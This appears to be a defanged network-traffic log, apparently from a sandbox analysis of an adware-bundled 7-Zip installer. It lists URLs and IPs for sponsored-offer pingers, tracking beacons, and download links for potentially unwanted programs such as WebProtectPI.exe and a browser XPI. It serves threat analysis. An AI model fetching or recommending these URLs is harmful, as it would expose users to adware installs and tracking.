hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRES0QUWvd/8CeCuYNVGnomyBSmF904v4t2DUn5zsC9NJ U2RbYIv/u4RW6BwwlDhXXzVMPssdyAArGNPv3ifC5kV9jP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qi15mGxh9u5L Ls8LW/V2IeBDHDzycSdzuMEO03HPn UgyWQ7Q3RDGr78QLuadMpg= 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/5946.ashx?e=PcwT4QFtuPDEA05CBT6a0ajJfooaJy9 qUlAdcY4Qxd4E7mrr1h80riKIFo3W8f23Wq7IsWCDz6 voHsg2LiKECN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdAGW4B5KF0X3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y 198.232.124.192
hxxp://crl.thawte.com/ThawtePremiumServerCA.crl 23.43.133.163
hxxp://logs.nodedomax.com/monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430385923&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430385923 69.16.175.10
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESgu0rCkTVQ8byyO6Ebs4xmkKABP6K/iqqIBnlKRxyFokkn0XLiH0dH1LtCiNSAKYFu3Kv28u ejWM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUujDtCPA991ZulCrZfCuwzSrrsQ5xaYBAZkqF79EEGZJp27RjISX6Na 198.232.124.192
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=j7YMo/n29XPkTjH401c/dDdjsMBgf4Cr56XqnYmheUgSZTerw9Y85XkjLFx9TDtK4f0FPuKZzqbDw9aNRtMZqyZMAOD3mcq6qIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaeXM3AOyMolLlIztMHev4h7pFNSnDjI8TYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbOko2GBeYu4Js7F084kEIF6/Qhoytxt9L9wKkxYqjT c= 54.197.238.106
hxxp://webprotectionfree.com/c/webprotector_chrome 37.58.109.2
hxxp://install.theswiftrecord.com/fp?alpha=VX0QKRUOcgFkAgkAPwMaVDlDJBVVIQZYVHJ8UTZJUmkdKVNXDBNbDyE/CSk3FGljexhID3orU1QJQnNxTSpvKBI7CldEZwYhcDoDcClrJAoWfBNlS0JlR10QKxMQawBQKVE9EQUHGVZ5UjoMMkcPbh19alQDfi9KSHtBdxUCazIkBUY4A3dGGSQAPER9bWAWB0VmBnEbU3BMRRUrAxZuFFElXDgXEAZFT39VLwsmVAhoBSo4RV8qPQUUdiEtXAV2NWFzXyoBbU1bfVl7GXw+djtzY3dEOh1OekVUFCMVEmkfAm8QMndZX0QAPBQveHoSXDVBKSs7R30iVE18Q08VFW01fW5JeFREF3AkADFIIHQUWhMSYR5lS0p/QkgSVhcQbABSLzpOZHQURiljXGsl 8.34.112.140
hxxp://webprotectionfree.com/a/9813.xpi 37.58.109.2
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESzzzSAUigcDOBH7l0Cnb62dCUHeR8YCF3HUDXrv0Zk8ASGzXJG4Eokf4VYfpEwhPiF9IEmN/K55fiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WXbr7OVwz8YTq8pe8qX5YL00cJg/3mzqkz7KK1WAHRDboZDufEzNKco 198.232.124.192
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=N6dOqWm8Q96MfN93CMDrz6jJfooaJy9 9x5AR6gjw3ddOfUh X e3KWVb3f653Ub2yLvqUuoT2b669uXeODcaUuDZbxKNz6NsSNKKkCXJzFm5LT87ehXaouB5vT09TkZPjLUR1sqzj3fFDEx7p39heZkF1/HCKmEvlcum0nVhgGnsJk52TNevcO0XORzHjel Qi34DV81hm9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLh2AdNW8se5tJwlKiyKEzpqDKGkKTsMuFKX NzbP1SeVQdPSkZVS9k32damvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgt4T3HqLJ/VOG/dVdd2ZQulS80g5AwOE2fl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn4K46RaPQ8p40FscvLmfeEU= 54.197.238.106
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESTluBu0Um15ycwQCYXH/7wymF904v4t2DRUWskgMGMEO eufm7MnOBmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhStCWqjOU30UJ93k4w4AQv cTDUJ39fApoVlzfxsZWK f/ISkx6xf/pk= 198.232.124.192
hxxp://crl.globalsign.net/root-r3.crl 108.162.232.204
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=eISsn0A7mAY luBT5UotGDDg90yhWAZu1x5NOexglQ54E7mrr1h80pGhRXiiBAM3/pj4Ga9vJtW/i7PC1v1diHgQxw88nEnc7jBDtNxz5/lIMlkO0N0Qxs4w9Wm71Kk6mVvO2Kq2gv8U1nnW3RVow kpGM0HsBZ4b GEwPiedNIoPfCrfVvRJhQC drCF7eFcz7 uAJ9xYc2HdAkQAtbdN0UDIdpIB1Qnh1HGq AP1KrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUQ91YLfuzI3pHtMBal4vBGNCK5k8M9soKVuYS5UmoA pcueCh2dpFUQYwukK5SKFU 198.232.124.192
hxxp://installer.filebulldog.com/awde7zip23008/7zip/a4ef7ad5ee844541a73265af1d50735c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423 78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=3&index_in_screen=1&index_in_session=3&display_height=195&0.4972198093695961 78.138.127.15
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=4&index_in_screen=1&index_in_session=4&display_height=170&0.8669246227254628 78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=Feo0TQZfu6KMgv8CEawhJiZzmvE Kfh2SzoqkNp86bX8ln8Iap23/wrmOSgIBLqiUA7dl9owwhLbr7OVwz8YTq8pe8qX5YL00cJg/3mzqkz7KK1WAHRDbqQmaO4BxLEPFjCwIjKziMWX1FtTkCv6XI0utKFfGtX02OmSk44xZ7fUh 3ZGDmdW5pZis9f nTdGT OLwKV822Ojv4aucAQOPP8mddpznAdPBRT/3/QFX6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUujDtCPA991ZulCrZfCuwzSrrsQ5xaYBAZkqF79EEGZJp27RjISX6Na 198.232.124.192
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=225905ee-8d98-45f3-9c8f-9c83de3b2ec2&Password=DzlheLoT&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1430385914&SBPIDS=1
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1430385934 54.231.10.140
hxxp://webprotectionfree.com/c/LiveUpdateWPP_is.exe 37.58.109.2
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=2fVCHF6kf8gQ0V45w4Sc0advklASGFy412OKhacftHRAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bRFvI1dQMsMzfd5OMOAEL/nEw1Cd/XwKaFZc38bGVivn7bUA4teUDtB1JJpRAUOpYSeY/e3xqcYN4lZcxLy8MCmwsgTCGAfUziyMyEnHNejvIwWNawbTP05KYX3Ti/i3YM1BHIdlrIHvMRqdNksZyqGQlHIOUuUk0D3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhywXtD72Vj9R098UMTHunf2F5mQXX8cIqYS Vy6bSdWGAf/DIf3gxM C 198.232.124.192
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1430385932 54.231.10.140
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1430385928 54.231.10.140
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=WL9usJOVMsMLjT49fHfOTKBJ0hpo9ZTG/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B L7Jw8Fk1 i31fTgrR12XwN5lyRGN/ZhwIcLERiDa7oGT OLwKV823JQyItD8S5vDK0emj6kkzGQeFtx5 eqtFssIFedkeDcwU A6kiYcjN5jgwqhpV 3RVAAKZHGiEvt0xgtq2YEqI49BuL0n8vhSftUaxxCxaYQTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcSwMKk0YNBDNHuPeAOMOoWr/iAwI6x/7 dWWBJOHNraqsEWqUszzacWNtIkZZ3YKA9A== 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/31804.ashx?e=2v0SNuZrMFxVoN1r7EPlazdjsMBgf4Crsg7jyZ2P5QEDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/jW9oxyhiXHqkCN9h bV19VoPPb/i9FtJTgL4xsffnkQbPiCC4paVhdAGW4B5KF0X3G4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8lz8lbkb0am4Y 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=BSSQS1gsMUSQVExL/6LI8D2S/voHNL3Y1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/FNZ51t0VaMPpKRjNB7AWeFi2s6XsF8NY0jd2Ua9SYWgE8SFHLIEPsD LD4ni i1YdBJZ5riIcvtUE1GQHZQfQHQBxTzK/bEJeNU2AyMdjD2r9Dmom8z1Bdz0MKRim67MuTCPyUuZt4XfFDEx7p39heZkF1/HCKmEvlcum0nVhgFW1jOB/tj8S4zwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbc3zGts4CU58= 198.232.124.192
hxxp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl 87.245.221.98
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/27164.ashx?e=s0jsdppK9OuQVExL/6LI8IwRAVqD4pvV1VMaOJFqXYpm5LT87ehXaouB5vT09TkZPjLUR1sqzj3fFDEx7p39heZkF1/HCKmEvlcum0nVhgGnsJk52TNevbiKIFo3W8f23Wq7IsWCDz4EGVrUzn4iLO K9V0GRRESXeFaoUgIZNgjlVbxwk2 SY4G r 3F6T7LD20kz8IksEB9SrNLCYuRKsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tRD3Vgt 7Mjeke0wFqXi8EY0IrmTwz2ygpW5hLlSagD6ly54KHZ2kVRBjC6QrlIoVQ= 198.232.124.192
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=1&index_in_screen=1&index_in_session=1&display_height=110&0.030386420728304442 78.138.127.15
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECECVRccvD8Qb29B4D63fPT+k= 23.43.139.27
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=6&utmn=722569010&utmhn=installer.filebulldog.com&utmhid=1118226650&utmr=-&utmp=Offer_Accepted&utmht=1430386013393&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ 216.58.209.174
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=LU2XQ3qyK2CS/sgGHVzeUVtC1svWgR193Pumfblmu5B9EKWfiY9Pr/lWymhtcc3oSGExqW4qn7xTgtGbaWrGbzEsdSRpTTrrYOU1y/YINRFoElZvuBh0eOlCrZfCuwzSrrsQ5xaYBAZkqF79EEGZJp27RjISX6Nal8axoeNMkn46SEXCM79iefveis23DNM6naQQuHaXH0P7e7Z5lK2CBt35bH/eTc70z3EdWN1pnr9pfylRUU5oo40q0/F EacueBzJkwMj dTdu2471AoxrxxJWu/c1tu xuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJe0t1UorR32ajRt6ubd2oIqP49Qld4eEeCM6W43gx8rzXt84aO5wRExE0IRJnYGpCCben5CRJm6y2wOcF V8 PTZ 4/Q5Ucbu9u0ix3pYrA/Q== 54.197.238.106
hxxp://bi.bisrv.com/installer/ajax 78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=4mC0vXGWFtoLjT49fHfOTMVKo2MRSclf/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B K9V0GRRESrStpyyCRN5wE8SFHLIEPsIrbCKwGMe5Y4VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr7Nm0VSYuTZTqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGV2a3pWCTy1EPdWC37syN6R7TAWpeLwRjQiuZPDPbKClbmEuVJqAPqXLngodnaRVEGMLpCuUihVA== 198.232.124.192
hxxp://installer.filebulldog.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.522997821052618 78.138.127.15
hxxp://installer.filebulldog.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=69fcc8129cc3cf46b36b738c6b72bbc0&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=web2mob_messenger_for_android&tokyo_csrf2_key=45303a0f385731a86b2b595eb351a8d0&tokyo_csrf2_timestamp=1430385828&slot_number=4&index_in_screen=1&index_in_session=4&0.030520581165039695 78.138.127.15
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=aQQpsP6/AW18o9SV8EJ33ZL yAYdXN5RpIM3M8yu/weMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZX4l9XCm/Va AW1ilHO0XlqaFGmNQisoEs IILilpWF0xvNRnLf/zkL0gMjSgdVjaBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLAwqTRg0EM0e494A4w6hav IDAjrH/v51ZYEk4c2tqqwRapSzPNpxY20iRlndgoD0 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=IwLHwtP2rDeS/sgGHVzeUa54nBZoeXARjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNe3zho7nBETETQhEmdgakIJt6fkJEmbrLbA5wX5Xz49Nn7j9DlRxu71HmS0Zrngqa/u6z7Uinv/jO0WyxvbY42Xs7kUDQrVpg2/M8jJQIzSfeAVcyDPrG1hQC drCF7eFHh/LPABvBAscXPNbtq4ApuOFLk2t6neQ zLrLpIjsRXHS5uuKPjyTsvGYaIpA5OzBAdSiYySX1ABO9CgPGV4WwPGAmcePe PU/67/t1IJfTYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaoteZhsYfbuS/i7PC1v1diHgQxw88nEnc7jBDtNxz5/lIMlkO0N0Qxq /EC7mnTKY 198.232.124.192
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=1&index_in_screen=1&index_in_session=1&display_height=110&0.6919453698335451 78.138.127.15
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTEemCaVgs8Tuh2B9fGVE0pKKNyzgQUTF+nNhcF4oZhIkk5jLmo40rgOBoCEC6utoKGY/7ZdVX4/iTzOxo= 23.43.139.27
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=j7YMo/n29XPkTjH401c/dDdjsMBgf4Cr56XqnYmheUgSZTerw9Y85XkjLFx9TDtKsPYyGQt5yHQzixC5kmTb5s610XCmzC22BHIQSAUi/qZ6ui3jv/3sP/4jVWMunDHWleI3B6uYg8lqpwuyqc3XiTEOgAi5qcHFAjty0U0tb3YV31 7Nekt0xm46XXR1FJOmJ Y/JGOYZV65oG/Tej/kYtyMdnwSjqVzRrLoiWvi573iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OdBaNFR1Cr06TJP9M3NuQpnzbANYrsS2gdCWqjOU30UJ93k4w4AQv cTDUJ39fApoVlzfxsZWK fYis8nBmbypT3AqTFiqNP5w== 54.197.238.106
hxxp://webprotectionfree.com/b/WebProtectPI.exe?s=9813&i=B383C50E-64C2-48C7-800E-B0CA2B58196C&v=4.1.0.13 37.58.109.2
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=webprotectorplus&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=1&index_in_screen=1&index_in_session=1&0.9427898179249654 78.138.127.15
hxxp://install.theswiftrecord.com/mg?alpha=RQ8nLCALR2R2FXdLCAYvREt0ISBFSSVdIzcVU245RS1mOFMXAjpeSkdJJlhyH2s/e19ECElbZyh9dHBAVgcdIVI9WDtjKxVUQzZrVi9y 8.34.112.140
hxxp://www.google-analytics.com/__utm.gif?utmwv=5.6.4&utms=2&utmn=2053866364&utmhn=bi.bisrv.com&utmhid=870522207&utmr=-&utmp=Offer_Accepted&utmht=1430385784525&utmac=UA-31676879-1&utmcc=__utma=1.2090475166.1430385727.1430385727.1430385727.1;+__utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ 216.58.209.174
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=obiBp3WOda94HRn2UIUeHkaLWeDUuxNc7OXLse4BafTbQC nVTu53mZVsyaCUtL6gqXeieYZsf2494A4w6hav IDAjrH/v51ZYEk4c2tqqwRapSzPNpxY5JPYxSEah4SVR5AawbKoxqRy3/PCMI04HwlxgVBJ8YiGxrTqW15vZAdYLC6Fwg82dCUHeR8YCF3Bk5uyFG9yyJ4mMkepz8MndjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29qi15mGxh9u5L Ls8LW/V2IeBDHDzycSdzuMEO03HPn UgyWQ7Q3RDGr78QLuadMpg= 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=aQQpsP6/AW18o9SV8EJ33ZL yAYdXN5RpIM3M8yu/weMDmRWpWBZ0PxJo1EJGyYRjOluN4MfK817fOGjucERMRNCESZ2BqQgm3p QkSZustsDnBflfPj02fuP0OVHG7vUeZLRmueCpr 7rPtSKe/ M7RbLG9tjjZX4l9XCm/Va/aaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YPc6IXuGS75LmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhStCWqjOU30UJ93k4w4AQv cTDUJ39fApoVlzfxsZWK f/ISkx6xf/pk= 198.232.124.192
hxxp://download.mozilla.org/?product=firefox-34.0.5-complete&os=win&lang=en-US 63.245.217.36
hxxp://clients1.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCBeKFkbaBLGY 216.58.209.206
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000171&i=200&n=init_end_funnel_step_name&rnd=1430385926 54.231.10.140
hxxp://installer.filebulldog.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=591e247a260e754da0a14c821f058054&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=swiftrecord&tokyo_csrf2_key=1ca04747cf41c02428e7c2e39ab8e6eb&tokyo_csrf2_timestamp=1430385906&slot_number=2&index_in_screen=1&index_in_session=2&0.6360942821490396 78.138.127.15
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=t4TV4yXs13Onb5JQEhhcuNypZYGJk9A63RDD4M2MKnlkNeKJ xgctdGdqHePycrYlEzjD3RV2P zo7anpTgKufSzmM3HEufAEaBiShDKRIV XTIrvDDxtEW8jV1AywzN93k4w4AQv cTDUJ39fApoVlzfxsZWK fZ4FuGdpApw7PCU8GQVxGgK2dgS8O/TaQhbdsE06OTTBOUDdMBQAxomYsAOzz7hm2v6mMnRFV9GiwMiHIO32t9dB/Qy8xESUT5w8NAuWYj0rx9Q7mDipg5m5EK8PnEgfsYRrkWB2O2svYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW fxWwjEc sn2WUw3 YPQdUCRoUV4ogQDN/6Y BmvbybVv4uzwtb9XYh4EMcPPJxJ3O4wQ7Tcc f5SDJZDtDdEMaAv6M 3oAyd9KYJggl74H 54.197.238.106
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000171&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1430385927 54.231.10.140
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/4475.ashx?e=WL9usJOVMsMLjT49fHfOTKBJ0hpo9ZTG/WD6e6SZIIExLHUkaU0662DlNcv2CDURaBJWb7gYdHjpQq2XwrsM0q67EOcWmAQGZKhe/RBBmSadu0YyEl jWnwF8xC533Fcga zuhV9q9E6whnJOTx2B L7Jw8Fk1 i31fTgrR12XwN5lyRGN/ZhwIcLERiDa7o2uwjb78QzN9FYm5VRTy/qYKbHXQ3LZlHwdE4jBu2OwY8 KcWSiy /2tEQoG17P7tYpb spL69FcIA44xPc2qos7ozJ3T9gfn6pqgVuVy 5fXvfdY6g9CW/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLBe0PvZWP1HT3xQxMe6d/YXmZBdfxwiphL5XLptJ1YYB/8Mh/eDEz4I= 198.232.124.192
hxxp://webprotectionfree.com/c/webprotector_installer.exe 37.58.109.2
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=M7A8vgjJHrgLjT49fHfOTNM7BpcmEq1Vt8f6YpiR28IQ9XpMu3JNONKN/VUSdNXb1RKCtJSqXJDHpCaj36dsiVcugFublYli4VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr0yM76mYEXUjy/SCcC0/B2695MROQWA/L2J9sb7MHhzUBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzEGEjQJyNURYqMy0/V3kNGuCgKEn5qKQgXtD72Vj9R098UMTHunf2F5mQXX8cIqYS Vy6bSdWGAVbWM4H 2PxLFHdk/gnZ pY= 54.197.238.106
hxxp://errors.nodedomax.com/utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1430385928 54.231.10.140
hxxp://install.theswiftrecord.com/if?alpha=WHlYKGBEOyYoRm51dwJvWT0LJWBYJVQAbW1KTDklCiUSbyVNCDsZVwx/VExkVzAfKQoBSWNoWxByC3R3WDIkLAg0cgQ2ZAwlSi8jfTojBzN1JgM5PQstGxc3IxReHgpeLQJNeA9zXy8TXj9EKix2bFsPAVoMN1siMXp4AHRdWjJ9RTsYQmE6VVwQdHFfIHIaAV08GipkWCFLWWQ4UVdofF8tGj5hEwdRQAxYPkQqMxI7CCtuGlA7c3cMP1UrNAg6cH1ARDlFUmsIJVAtKy17LkZ8G2Nbez1YK1gLHHFEVw8fSHdHeixNUFU5VwRvG2lyGH9beQEKVnI8fQc5XDZ7IHV3akl1JExwdm58EHlqYzo+QXJ6JwEvaQ0/VAs+f0tKFGxOblF8JlRaBk4ESj1aLy8DaV18DBtadGx7FyoZNCcOdzQiBjdlGiI5Snkfc2IpDHARPkMmBmkkKyJUEDV6BzkuLRp9RydzU0NVWhgEOQQjeBI+G3AVWBM3KiBSIlh5dl0mISgcM30QNhQDJ04nMSFvbhk2FxMPJX8balkLPXAaLhQTIFkSajpQVlUqfTVFNThlQGI7AFsJTWM2MiICTiU0CDxCcVRyPktodmo1LV5WXWlaHyFBdSosehcvWGwnXAY0f0k= 8.34.112.140
hxxp://webprotectionfree.com/node/?s=9813&br=2 37.58.109.2
hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.4&utms=1&utmn=171427984&utmhn=bi.bisrv.com&utmhid=870522207&utmr=-&utmp=Installer_Init&utmht=1430385726787&utmac=UA-31676879-1&utmcc=__utma=1.2090475166.1430385727.1430385727.1430385727.1;+__utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=1773454494&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ 216.58.209.174
